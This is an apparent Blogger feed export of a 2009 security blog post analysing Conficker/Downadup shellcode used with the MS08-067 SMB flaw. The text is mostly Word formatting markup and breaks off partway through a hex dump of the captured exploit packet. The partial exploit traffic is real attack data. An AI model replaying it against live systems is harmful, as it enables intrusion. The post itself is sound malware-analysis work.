<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-30311304</id><updated>2011-07-28T05:53:57.214-07:00</updated><category term='Shell'/><category term='ida pro'/><category term='ids'/><category term='Bot'/><category term='security'/><category term='honeytrap'/><category term='microsoft'/><category term='windows'/><category term='reverse engineering'/><category term='Command and Control'/><category term='FreeBSD'/><category term='honeypot'/><category term='anti-forensics'/><title type='text'>Zeta Blog</title><subtitle type='html'>Information Security and Personal Musings.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>17</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-30311304.post-6324878147249163586</id><published>2009-02-01T10:28:00.000-08:00</published><updated>2009-02-01T10:29:30.876-08:00</updated><title type='text'>Shellcode (x73 x68 x65 x6C x6C x63 x6F x64 x65)</title><content type='html'>&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 12"&gt;&lt;meta name="Originator" content="Microsoft Word 12"&gt;&lt;link rel="File-List" href="file:///C:%5CUsers%5Ceon%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_filelist.xml"&gt;&lt;link rel="Edit-Time-Data" href="file:///C:%5CUsers%5Ceon%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_editdata.mso"&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt; &lt;![endif]--&gt;&lt;link rel="themeData" href="file:///C:%5CUsers%5Ceon%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_themedata.thmx"&gt;&lt;link rel="colorSchemeMapping" href="file:///C:%5CUsers%5Ceon%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_colorschememapping.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves&gt;false&lt;/w:TrackMoves&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:dontvertaligncellwithsp/&gt;    &lt;w:dontbreakconstrainedforcedtables/&gt;    &lt;w:dontvertalignintxbx/&gt;    &lt;w:word11kerningpairs/&gt;    &lt;w:cachedcolbalance/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:donotoptimizeforbrowser/&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:1; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:0 0 0 0 0 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-priority:1; 	mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin-top:0in; 	margin-right:0in; 	margin-bottom:10.0pt; 	margin-left:0in; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	mso-bidi-font-size:10.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:"Times New Roman"; 	mso-bidi-theme-font:minor-bidi;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	mso-bidi-font-size:10.0pt; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:"Times New Roman"; 	mso-bidi-theme-font:minor-bidi;} .MsoPapDefault 	{mso-style-type:export-only; 	margin-bottom:10.0pt;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.0in 1.0in 1.0in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin-top:0in; 	mso-para-margin-right:0in; 	mso-para-margin-bottom:10.0pt; 	mso-para-margin-left:0in; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoNormal"&gt;Shellcode is fun to analyze and it is interesting to see what attackers throw into the mix to make finding the payload harder.&lt;span style=""&gt;  &lt;/span&gt;Recently I was taking a look at the conficker/downadup shellcode that is used in conjunction with the MS08-067 vulnerability.&lt;span style=""&gt;   &lt;/span&gt;First we start with the packet data&lt;/p&gt;  &lt;div style="border: 1pt solid windowtext; padding: 1pt;"&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;17:18:12.869891 IP (tos 0x0, ttl 128, id 164, offset 0, flags [DF], proto: TCP (&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;6), length: 832) 192.168.248.128.1048 &gt; 192.168.248.1.445: P, cksum 0x41fa (corr&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;ect), 1136:1928(792) ack 927 win 63314&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0000:&lt;span style=""&gt;  &lt;/span&gt;4500 0340 00a4 4000 8006 8540 c0a8 f880&lt;span style=""&gt;  &lt;/span&gt;E..@..@....@....&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0010:&lt;span style=""&gt;  &lt;/span&gt;c0a8 f801 0418 01bd 836c c50d d4ef d3fb&lt;span style=""&gt;  &lt;/span&gt;.........l......&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0020:&lt;span style=""&gt;  &lt;/span&gt;5018 f752 41fa 0000 0000 0314 ff53 4d42&lt;span style=""&gt;  &lt;/span&gt;P..RA........SMB&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0030:&lt;span style=""&gt;  &lt;/span&gt;2500 0000 0018 07c8 0000 0000 0000 0000&lt;span style=""&gt;  &lt;/span&gt;%...............&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0040:&lt;span style=""&gt;  &lt;/span&gt;0000 0000 0008 4004 0008 8000 1000 00c0&lt;span style=""&gt;  &lt;/span&gt;......@.........&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0050:&lt;span style=""&gt;  &lt;/span&gt;0200 0000 0400 0000 0000 0000 0000 0000&lt;span style=""&gt;  &lt;/span&gt;................&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0060:&lt;span style=""&gt;  &lt;/span&gt;0054 00c0 0254 0002 0026 0000 40d1 0200&lt;span style=""&gt;  &lt;/span&gt;.T...T...&amp;amp;..@...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0070:&lt;span style=""&gt;  &lt;/span&gt;5c00 5000 4900 5000 4500 5c00 0000 0000&lt;span style=""&gt;  &lt;/span&gt;\.P.I.P.E.\.....&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0080:&lt;span style=""&gt;  &lt;/span&gt;0500 0003 1000 0000 c002 0000 0100 0000&lt;span style=""&gt;  &lt;/span&gt;................&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0090:&lt;span style=""&gt;  &lt;/span&gt;a802 0000 0000 1f00 2c15 ce00 0600 0000&lt;span style=""&gt;  &lt;/span&gt;........,.......&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00a0:&lt;span style=""&gt;  &lt;/span&gt;0000 0000 0600 0000 4800 4800 4400 4800&lt;span style=""&gt;  &lt;/span&gt;........H.H.D.H.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00b0:&lt;span style=""&gt;  &lt;/span&gt;4800 0000 3101 0000 0000 0000 3101 0000&lt;span style=""&gt;  